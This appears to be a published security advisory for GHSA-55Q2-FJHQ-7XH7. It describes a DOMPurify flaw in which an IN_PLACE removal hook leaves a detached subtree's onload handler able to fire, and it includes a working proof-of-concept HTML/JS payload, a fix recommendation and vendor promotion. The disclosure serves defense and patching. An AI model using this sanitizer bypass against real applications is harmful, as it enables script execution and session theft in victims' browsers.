Summary
DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS
During IN_PLACE sanitization, a hook that removes an element can leave that element's detached descendants executable. A descendant image can retain its attacker-provided onload handler and fire after sanitize() returns, even though the returned root is clean and the image remains disconnected from the document.
Details
In DOMPurify 3.4.12, _sanitizeElements() in src/purify.ts:1862-1904 runs the beforeSanitizeElements or uponSanitizeElement hook and returns immediately when the hook detached the current node. The return does not call _neutralizeSubtree(currentNode).
The detached subtree is not added to DOMPurify.removed, so the post-walk IN_PLACE neutralization cannot reach it. If the browser queued a resource event while the application constructed the detached dirty root, a descendant can therefore retain its handler and execute after sanitization.
The hook only rejects the containing element and does not add or approve the event handler. DOMPurify's ordinary removal path de-arms the same queued event; only the hook-detachment early return skips the existing subtree neutralization.
PoC
Load the published [email protected] dist/purify.js before this script in Chromium:
<div id="result">not fired</div>
<script>
const root = document.createElement('div');
root.innerHTML = `
<footer>
<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"
onload="result.textContent = 'XSS after sanitize'">
</footer>
<div>safe</div>`;
DOMPurify.setConfig({
ALLOWED_TAGS: ['div', '#text', 'footer'],
IN_PLACE: true
});
DOMPurify.addHook('uponSanitizeElement', node => {
if (node.tagName === 'FOOTER') node.remove();
});
DOMPurify.sanitize(root);
document.body.append(root);
</script>
sanitize() returns with no handler execution and the returned root contains only the safe div. After the event loop advances, the original image remains disconnected but its retained onload changes the page to XSS after sanitize.
As the claim-matched control, use the same detached input with ALLOWED_TAGS: ['div', '#text'] and no hook. DOMPurify's ordinary removal path removes the original image's handler, the returned root is still <div>safe</div>, and the marker does not fire.
Impact
In an application that uses IN_PLACE with the documented element-removal hook pattern, an attacker who can supply HTML can execute JavaScript in the integrating application's origin after the application sanitizes and renders that content.
The required non-default configuration is IN_PLACE plus a hook that removes a containing element. The hook does not add or approve the event handler, and the dirty root never needs to be connected before sanitization.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Reuse the existing _neutralizeSubtree(currentNode) helper before returning from both hook-detachment branches in _sanitizeElements(). Add regressions for beforeSanitizeElements and uponSanitizeElement that retain a reference to a descendant resource element and verify that its event handler is removed after the hook detaches its ancestor.
Frequently Asked Questions
- What is GHSA-55Q2-FJHQ-7XH7? GHSA-55Q2-FJHQ-7XH7 is a medium-severity cross-site scripting (XSS) vulnerability in dompurify (npm), affecting versions <= 3.4.12. It is fixed in 3.4.13. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- Which versions of dompurify are affected by GHSA-55Q2-FJHQ-7XH7? dompurify (npm) versions <= 3.4.12 is affected.
- Is there a fix for GHSA-55Q2-FJHQ-7XH7? Yes. GHSA-55Q2-FJHQ-7XH7 is fixed in 3.4.13. Upgrade to this version or later.
- Is GHSA-55Q2-FJHQ-7XH7 exploitable, and should I be worried? Whether GHSA-55Q2-FJHQ-7XH7 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-55Q2-FJHQ-7XH7 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-55Q2-FJHQ-7XH7? Upgrade
dompurifyto 3.4.13 or later.